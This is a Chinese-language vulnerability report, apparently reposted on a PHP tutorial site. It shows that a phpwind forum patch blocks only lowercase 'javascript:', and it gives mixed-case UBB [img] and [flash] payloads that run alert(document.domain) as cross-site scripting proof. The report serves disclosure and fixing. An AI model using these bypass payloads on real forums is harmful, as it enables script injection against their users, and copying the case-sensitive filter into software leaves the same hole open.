来源：自学PHP网 时间：2015-04-17 10:15 作者： 阅读:次
[导读] 新发布的修复补丁引出该问题http://www.phpwind.net/read/2993589 下载最新补丁代码PwUbbCode.php添加了如下一个函数if(strpos($path, #39;javascript：#39;)!==false) { return ......
|
新发布的修复补丁引出该问题
http://www.phpwind.net/read/2993589 下载最新补丁代码PwUbbCode.php
添加了如下一个函数
if(strpos($path, 'javascript：')!==false) {
return '';
}
这个是解决不了问题的，strpos只是检测了javascript的小写形式。
变换一下即可触发
漏洞证明：回帖或者发帖处，
高级-》代码
ie6下触发。
[img]jAvascript:alert(document.domain)[/img]
 在发帖回帖处写入
高级--》代码
[flash=480,400,1] jAvascript:alert(document.domain)[/flash]
各个浏览器应该都是可以触发的。
  修复方案：
正则匹配 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
